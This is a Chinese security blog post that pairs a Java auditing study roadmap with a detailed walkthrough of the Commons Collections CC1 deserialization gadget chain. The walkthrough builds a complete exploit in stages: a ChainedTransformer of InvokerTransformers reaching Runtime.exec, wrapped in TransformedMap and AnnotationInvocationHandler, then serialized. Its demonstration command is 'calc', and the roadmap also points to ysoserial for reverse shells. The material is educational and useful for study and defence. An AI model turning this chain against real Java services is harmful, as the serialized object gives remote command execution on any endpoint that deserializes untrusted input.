【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

admin 2024年7月4日07:42:06评论5 views字数 17704阅读59分0秒阅读模式

本文由安云星球内部群P1ng@n师傅投稿,师傅也是Rookie工具的开发者,师傅们需要海康或者亿赛通的综合利用工具可以瞅瞅,顺手点个star

https://github.com/P1nganD/Rookie
【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

Java学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

 Java学习第一步,我们首先还是得看懂Java,这一点咱们还是要充分利用好B站大学,对于初学者来说我觉得还是看视频跟着

https://www.bilibili.com/video/BV1PY411e7J6/?spm_id_from=333.337.search-card.all.click

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

再看一下springboot的(可以跟着敲一敲)

https://www.bilibili.com/video/BV1Es4y1q7Bf/?spm_id_from=333.337.search-card.all.click&vd_source=a54cf0709f5afb9a8d3dd0c6079b9cbc

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

个人认为vue可以快速过,如果嫌弃慢呢就直接狂神拔苗助长版

https://www.bilibili.com/video/BV12J41137hu/

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

直接看啥不会看啥,反射不会看反射,动态代理不会看动态代理,到这已经可以了

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

Java安全的基础

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

1、看白日梦组长的视频,过掉反射、流、动态代理、动态加载,顺带可以到反序列化这里

在序列化之前可以摸一下审计owasp的审计,尝试一下,其实造成原因就是(开发不小心没注意)

https://www.bilibili.com/video/BV16h411z7o9/

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

2、学会使用yso

到这里了我们需要知道一个东西,我们要会用它反弹shell,并且我们cc链子看的就是他上面写的链子路线走的

https://github.com/frohoff/ysoserial

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

这边建议用p牛搭建的vulhub自己测试验证反弹shell

https://github.com/vulhub/vulhub

3、实际的反序列化

到这里了我们就可以开始学习cc链,着重需要看cc1的Lazymap还有cc6链cc链子分析完,我们可以看一下比较简单的shiro550、还有shiro721

4、

反序列化进阶版

RMI这个建议,RMI看完顺带看一下jndi、ldap因为一般情况下是一起的,这里弄完我觉得后续大家就可以直接开始走那些我们常见的fastjson、log4j、weblogic

https://github.com/Maskhe/javasec/blob/master/6.java%20rmi%E5%9F%BA%E7%A1%80.md

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

5、内存马

https://www.bilibili.com/video/BV1E84y1w77R/?spm_id_from=333.999.0.0

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

Filter、Listener、Serlvet、Value、Agent内存马的文章比较杂乱,只能自己找找了,这一块freebuf比较多

https://www.freebuf.com/author/potatosafe?type=article

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

6、学习文章链接:

到了后面,我看这个会比较多

https://github.com/Maskhe/javasec

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

反序列化看的是

https://github.com/Drun1baby/JavaSecurityLearning

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

7、源码网站呢,在这儿很多都找得到,嘻嘻

https://www.lingfengyun.com/

PS:

    其实后面可以开始学习审计那种开源的cms了。废话一下550shiro的其实比较简单,因为我们只需要关注rememberMe就可以轻松找到反序列化的点,可以在java安全基础看完就跟着审审,能够方便你cc1入门的时候更快理解emmm分享p牛的话

    部分新手代码审计的误区,拿到源码就开始硬怼,这样效率是比较低的。大部分基于拦截器的应用都是使用开源框架开发的,比如典型的struts2。对于这类基于开源框架的应用,不建议上来就硬怼源码,而是框架阅读文档,先理解架构,看具体处理各个功能的代码,比如你说的路由的原理。等熟悉了框架以后,再开始看一些框架底层的代码,易懂很多。

    如果你发现应用确实不是开源框架开发的,或者不是常见的框架。我也建议你先学习一些常见的开源框架,比如spring web和struts2等,这样对于理解你的目标有很大帮助。其实学习过程可以去p牛的星球,那边很多审计分享文章

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

Java反序列化CommonsCollections-CC1链

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

参考文章如下:

https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/https://space.bilibili.com/2142877265/channel/collectiondetail?sid=29805https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/https://www.cnblogs.com/CVE-Lemon/p/17908658.html#2-commons-collections%E6%98%AF%E4%BB%80%E4%B9%88
【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

环境搭建

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线
JDK8u65openJDK 8u65•  Maven 3.6.3

导入pom.xml

    <dependencies>        <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.2.1</version>        </dependency>    </dependencies>

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

并在Maven中下载源代码

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

    点击左下角的zip即可下载,然后解压。再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,我们解压到当前文件夹下,然后把之前源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到src文件夹中去。打开IDEA,选择文件 --->项目结构 --->SDK --->源路径 --->把src文件夹添加到源路径下,保存即可。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

import org.apache.commons.collections.functors.InvokerTransformer;

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

这样则代表已经成功导入环境

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

Commons Collections

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

JavaCollectionsFrameworkJDK 1.2 中的一项重要新增功能。它添加了许多强大的数据结构,可以加速最重要的 Java 应用程序的开发。从那时起,它已成为 Java 中公认的集合处理标准。Commons-Collections试图通过提供新的接口、实现和实用程序来构建JDK类。像许多常见的应用如WeblogicWebSphereJbossJenkins等都使⽤了ApacheCommonsCollections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

分析利用链

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

首先需要知道是这个反序列化是重写readObject导致的(如果这个还没懂的话,可以去看看白日组长的视频快速过一下)所以我们需要找到入口类这里并且我们需要一个readObject 方法,结尾这里需要一个能够命令执行的方法,中间需要找到一个利用链过去。大佬哪里扣下来的图,看一下大概就知道了。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

所以思路我们需要先从命令执行的时候开始,就是命令执行的逻辑部分开始分析,然后再到入口。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

1、找到尾部的exec()方法

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

根据前人的经验我们直接找到Transformer这个接口,这边的Transformer接口声明了transform类

public interface Transformer {    /**     * Transforms the input object (leaving it unchanged) into some output object.     *     * @param input  the object to be transformed, should be left unchanged     * @return a transformed object     * @throws ClassCastException (runtime) if the input is the wrong class     * @throws IllegalArgumentException (runtime) if the input is invalid     * @throws FunctorException (runtime) if the transform cannot be completed     */    public Object transform(Object input);}

ctrl+alt+b查找实现接口的类

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

我第一时间看到的是MapTransformer和InvokerTransformer,因为根据之前的反序列化调用的例子Map是能够被调用导致反序列化的,还有InvokerTransformer也是很熟悉的。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

但是MapTransformer我没有翻到,于是看到InvokerTransformer,发现了存在反射调用类的地方(这里再贴一下反射是干啥的,反射所有的操作都是关于Class)

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

Class cls = input.getClass();//实例化对象getClassMethod method = cls.getMethod(iMethodName, iParamTypes);//获取成员方法getMethodreturn method.invoke(input, iArgs);//method.invoke可以实现method 方法的调用,并通过args 参数传参。tramsform方法:    调用接收到的对象的getClass方法,获取他的类对象    用getMethod方法获取cls类对象的iMethodName方法    用invoke方法执行input对象的iMethodName方法,参数是iArgs    也可以理解为tramsform就是反射执行input.iMethodName(iArgs

关于java安全基础,我们可以很明显的看到这边的反射存在任意调用

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

顺带回顾一下这个弹计算机

package src.CommandExec;import org.omg.SendingContext.RunTime;import java.lang.reflect.Method;public class InvokeTransformerTest {    public static void main(String[] args) throws Exception{        Runtime runtime = Runtime.getRuntime();        Class c = Runtime.class;        Method method = c.getDeclaredMethod("exec", String.class);        method.setAccessible(true);        method.invoke(runtime, "calc");    }}

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

那么如何构造exp呢,接下来我们构造一个利用 InvokerTransformer 类弹计算器的程序。

根据构造方法构造 EXP,因为是 public 的方法,这里无需反射。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

看如下

package src.CommandExec;import org.apache.commons.collections.functors.InvokerTransformer;public class Bolg {    public static void main(String[] args) {        Runtime runtime = Runtime.getRuntime();//实例化对象        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});//重新实现一遍反射        invokerTransformer.transform(runtime);//既然我们已经找到了InvokerTransformer.transform()方法了,所以就往回找谁调用了transform方法    }}

·注意我们最后一句 invokerTransformer.transform(runtime);

·所以我们下一步的目标是去找调用 transform 方法的不同名函数

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

2、寻找链子

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

如果这边找不到齐全ctrl+alt+shift+f7

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

那么我们想找啥呢不同名字调用transform,但是这种transform再transform就没有什么意义,最终的目标肯定是要回到我们的readObject

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

知道了大部分是没有意义的,看到了最后的TransformedMap 类中存在 checkSetValue() 方法调用了 transform() 方法。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

接着我们看一下valueTransformer.transform(value)是什么东西

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

最后在TransformedMap中发现了valueTransformer但是TransformedMap的构造方法作用域是protected所以我们还需要找一下谁调用了TransformedMap的构造方法我们可以看到decorate中调用了

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

在decorate()静态方法中创建了TransformedMap对象

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

这边看一下poc

package src.CommandExec;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class decorateCalc {    public static void main(String[] args) throws Exception{        Runtime runtime = Runtime.getRuntime();        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});        HashMap<Object, Object> hashMap = new HashMap<>();        Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);        Class<TransformedMap> transformedMapClass = TransformedMap.class;        Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);        checkSetValueMethod.setAccessible(true);        checkSetValueMethod.invoke(decorateMap, runtime);    }}

1、先明确一下思路,尾部链子,也就是我们要利用的漏洞,是因为 invokeTransformer 的 transform 方法可以进行反射的命令执行。

2、在执行 .decorate 方法的时候,会新建 TransformedMap 对象,我们调用对象的 checkSetValue 方法(因为我们无法直接获取 TransformedMap 对象,它的作用域是 protected)。

3、在 checkSetValue 方法当中,会执行 .transform 的方法。这也就是我们链子的尾部 ———— .transform

看了drun1baby大佬的大概就是:

decorate会首先创建一个transformedMap对象,但是利用链我们需要用的readObject,这个在完整利用链中有分析。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

所以我们需要用到TransformedMap的checkSetValue这个构造方法,但是他的作用域是protected,所以是无法直接获取TransformedMap对象

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

从上文可知,漏洞是因为因为 invokeTransformer 的 transform 方法可以进行反射的命令执行。所以需要我们调用transform方法,正好在checkSetValue中

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

这样的话执行 .decorate是必要的, 这几句语句是为了运用 .decorate 方法而存在的。

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> hashMap = new HashMap<>();  Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

接上文,因为我们这边已经运用了.decorate 方法,那么就可以创建一个transformedMap对象

Class<TransformedMap> transformedMapClass = TransformedMap.class;

再通过反射构造攻击手段

Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);  checkSetValueMethod.setAccessible(true);  checkSetValueMethod.invoke(decorateMap, runtime);

到现在exp就结束了

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

3、完整链子

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

回到前边,因为上文的.decorate 方法找到了但是里面并没有我们想要看到的readObject方法,素有需要我们回到关键的checkSetValue中。那么谁调用了这个构造方法checkSetValue,在AbstractMapEntryDecorator中,这是一个抽象类,是TransformedMap的父类。可以看到调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

setValue()实际上就是在 Map 中对一组 entry(键值对)进行 setValue() 操作

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

那么首先看一下map是干啥的,相当于遍历,所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

尝试测试一下下断点对setValue

package src.CommandExec;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class SetValueTest01 {    public static void main(String[] args) {        Runtime runtime = Runtime.getRuntime();        InvokerTransformer invokerTransformer = new InvokerTransformer("exec"                , new Class[]{String.class}, new Object[]{"calc"});        HashMap<Object, Object> hashMap = new HashMap<>();        hashMap.put("key", "value");        Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);        for (Map.Entry entry:decorateMap.entrySet()){            entry.setValue(runtime);        }    }}

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

大概总结就是找到一个数组map,让他能够遍历这个数组,并且执行setValue方法。还有就是找到一个readObject能够执行setValue(),但是链子找到了我们的readObject 还没有找到所以我们还是要继续跟进setValue()

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

readObject()链首

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

翻了超级久才看到readObject()方法,记住动态代理不要跳过,因为我当时闲麻烦其实跳过了,到这里因为这个和动态代理有关又回去学了一遍,

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

AnnotationInvocationHandler这里我们可以看到其实这是一个动态代理的作用,因为他继承了InvocationHandler方法,并且这边的Map参数是我们可控的

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

然后我们看着readObject,因为在反序列化中他是自动执行的,这是关键,其中需要我们调用setValue,但是他是有条件的

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {            String name = memberValue.getKey();            Class<?> memberType = memberTypes.get(name);            if (memberType != null) {  // i.e. member still exists //条件1                Object value = memberValue.getValue();                if (!(memberType.isInstance(value) ||              //条件2                      value instanceof ExceptionProxy)) {                    memberValue.setValue(               //最后我们需要实现的                        new AnnotationTypeMismatchExceptionProxy(                            value.getClass() + "[" + value + "]").setMember(                                annotationType.members().get(name)));                }

readObject的方法是类AnnotationInvocationHandler的,但是AnnotationInvocationHandler的作用域是default(原因是在java中只要没有加public你看的其实就是default),子类是不能够访问的,所以需要我们反射的方法来获取类。然后再去实例化他。

public: 表明该方法或者变量对所以得类是可见的,所有的类或者对象都可以进行访问。protected:表明该变量或者变量不能被非同一包中的类或者对象调用,子类具有访问父类的权限,default:表明只有同一类,或者同一包中的类有访问权限,而其子类不能访问private:表明该方法或者变量只有当前类才可以进行访问

其实最好的结果就是谁的readObject中调用了setValue或者entrySet()也是可能出现利用链的

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

手写exp1:exp生效的阻碍和解决思路

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线
package src.CommandExec;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class SetValueTest01 {    public static void main(String[] args) throws Exception {        Runtime runtime = Runtime.getRuntime();        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});        HashMap<Object, Object> map = new HashMap<>();        map.put("key", "value");        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);//        for (Map.Entry entry:decorateMap.entrySet()){//            entry.setValue(runtime);        //这边我们需要反射AnnotationInvocationHandler,因为他是default的作用域,不能够直接调用        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor aihdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);        aihdlConstructor.setAccessible(true);        //实例化对象        Object o = aihdlConstructor.newInstance(Override.class, transformedMap);        //序列化与反序列化        serialize(o);        unserialize("ser.bin");    }    //和之前的一样    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));        oos.writeObject(obj);    }    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object obj = ois.readObject();        return obj;    }}

在理想状态下是这个样子的,我们将参数传入后序列化和反序列化弹出计算器,但是runtime并不在其中,因为其实在entry.setValue(r)中r是我们要传的runtime对象,于是面临如下问题:

      1.Runtime这个东西是我们自己生成的,并且Runtime对象不可序列化,需要通过反射将其变成可以序列化的形式。

    2.setValue() 的传参,是需要传 Runtime 对象的;而在实际情况当中的 setValue() 的传参是这个东西,而且我们是控制不了他的。

    3.第三个问题就是readObject()链首提到的两个条件也需要我们满足。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

手写exp2:Runtime序列化的问题

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

由于Runtime不能够序列化但是他的class是能够序列化的,那我们写一个正常的Runtime的反射

public static void main(String[] args) throws Exception {        //一个正常的Runtime的反射            Class c = Runtime.class;            Method method = c.getMethod("getRuntime");            Runtime runtime = (Runtime) method.invoke(null, null);            Method run = c.getMethod("exec", String.class);            run.invoke(runtime, "calc");}

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

接下来我们需要写一个invokerTransformer的版本

public class SetValueTest01 {    public static void main(String[] args) throws Exception {            Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},                                                                      new Object[]{"getRuntime",null}).transform(Runtime.class);            Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},                                                         new Object[]{null,null}).transform(getRuntimeMethod);            new InvokerTransformer("exec", new Class[]{String.class},                                    new Object[]{"calc"}).transform(r);    }
1.从上面的代码可以看到都是new InvokerTransformer().invoke()格式2.后一个invoke()里的方法参数都是前一个的结果

那么我们是不是就可以减少这种复用

但是我们需要把它放进ChainedTransformer进行传参数组递归

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

Transformer[] transformers = new Transformer[]{    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);

然后结合一下 .decorate这边的链子,原先我们用的是invokerTransformer,但是这边我们用了ChainedTransformer引入transformers实例化对象。

Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);//把这个改一下就好了

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

手写exp3:两个if的判断

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

但是我们启动是不会弹计算器的,所以可以知道我们第二个和第三个问题是没有解决的。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

那我们断点AnnotationInvocationHandler中的两个if就可以知道我们是否进入了我们的setValue()方法中,我们直接跳出了if也就是第一条我们并没有实现,if (memberType != null) { // i.e. member still exists,并且我们显示进入到readObject

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

告诉我们memberType不能为空,那么memberType是啥,这个type其实就是Override,但是实际上他啥也没有就是空的,那么我们要去找另外的注解。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

看一下这个 memberValue其实就是个键值对,然后name获取这个memberValue的key,然后他在memberTypes中查找这个key,又需要key不为空。所以需要针对性的改一下。

 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {            String name = memberValue.getKey();            Class<?> memberType = memberTypes.get(name);

但是我们看到Target中是有成员方法value。这里我们用 Target.class 尝试一下,所以我们 hashmap.put 也需要修改为 value。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

if (!(memberType.isInstance(value) ||  value instanceof ExceptionProxy))//判断成员变量是否相等

但是到这里我们也还是没有过掉setValue,发现 setValue() 处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。那么我们需要找到一个类,能够可控 setValue 的参数。

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

手写exp4:最终解决setValue的参数

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

ConstantTransformer能够完美解决这个问题

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

他会把任何对象都放入到iConstant也就是说transform不论传入的是啥都是iConstant,就可以当做一个常量。那么我们可以利用这一点,将 AnnotationTypeMismatchExceptionProxy 类作为 transform() 方法的参数,也就是这个无关的类,作为参数,我们先传入一个 Runtime.class,然后无论 transform() 方法会调用什么对象,都会返回 Runtime.class

    public static void main(String[] args) throws Exception {            Transformer[] transformers = new Transformer[]{//改这个地方                    new ConstantTransformer(Runtime.class),//将setValue可控                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                            new Object[]{"getRuntime", null}),                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                            new Object[]{null, null}),                    new InvokerTransformer("exec", new Class[]{String.class},                            new Object[]{"calc"})            };

最后我们的exp就是

package src.CommandExec;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class SetValueTest01 {    public static void main(String[] args) throws Exception {            Transformer[] transformers = new Transformer[]{//改这个地方                    new ConstantTransformer(Runtime.class),//将setValue可控                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                            new Object[]{"getRuntime", null}),                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                            new Object[]{null, null}),                    new InvokerTransformer("exec", new Class[]{String.class},                            new Object[]{"calc"})            };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        HashMap<Object, Object> hashMap = new HashMap<>();        hashMap.put("value","pingan");        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor aihdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);        aihdlConstructor.setAccessible(true);        //实例化对象        Object o = aihdlConstructor.newInstance(Target.class, transformedMap);// 序列化反序列化        serialize(o);        unserialize("ser.bin");    }    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));        oos.writeObject(obj);    }    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object obj = ois.readObject();        return obj;    }}

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

总结

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

先理顺一下利用链

利用链:InvokerTransformer#transform    TransformedMap#checkSetValue        AbstractInputCheckedMapDecorator#setValue            AnnotationInvocationHandler#readObject使用到的工具类辅助利用链:ConstantTransformerChainedTransformerHashMap

总结一下找的过程吧毕竟第一次分析,学代码审计

    首先是根据前人经验看Transformer,然后通过ctrl+alt+b找一下调用他的实现方法里面找到了InvokerTransformer在这里可以看到invoke,那么就存在反射调用了。

    然后回头看我们的Transformer在别的地方还有调用,我们find一下翻翻就可以看到TransformedMap#checkSetValue接着就看到checkSetValue下的valueTransformer是干啥的我们并不知道,所以跟进一下最后在TransformedMap中发现了valueTransformer,但是因为他是protected所以我们还要看看谁调用了他,find很简单就可以看到(因为就几条不需要翻得很累)decorate,可以看到是Map遍历。

    到这里我们还是没有看到想要看到的readObject,但是这个decorate又是一个我们很关键需要部分,因为在decorate()静态方法中创建了TransformedMap对象,我们才能再去实例化他。于是回到我们的checkSetValue,于是我们又要需要find一下找到AbstractInputCheckedMapDecorator#setValue他调用了我们的checkSetValue,可以看到调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry

    接着继续找我们的readObjectfind可以看到sun.reflect.annotation.AnnotationInvocationHandler下有我们想看到的readObject,并调用了setValue。层层递进刚看超级晕甚至不知道为啥exp这么写,多自己调试多看看就懂了。(可能没写的很全反正大致是这样)

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

免责声明

【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线
【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

文章所涉及内容,仅供安全研究与教学之用,由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。

原文始发于微信公众号(银遁安全团队):【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月4日07:42:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线http://cn-sec.com/archives/2837977.html

发表评论

匿名网友 填写信息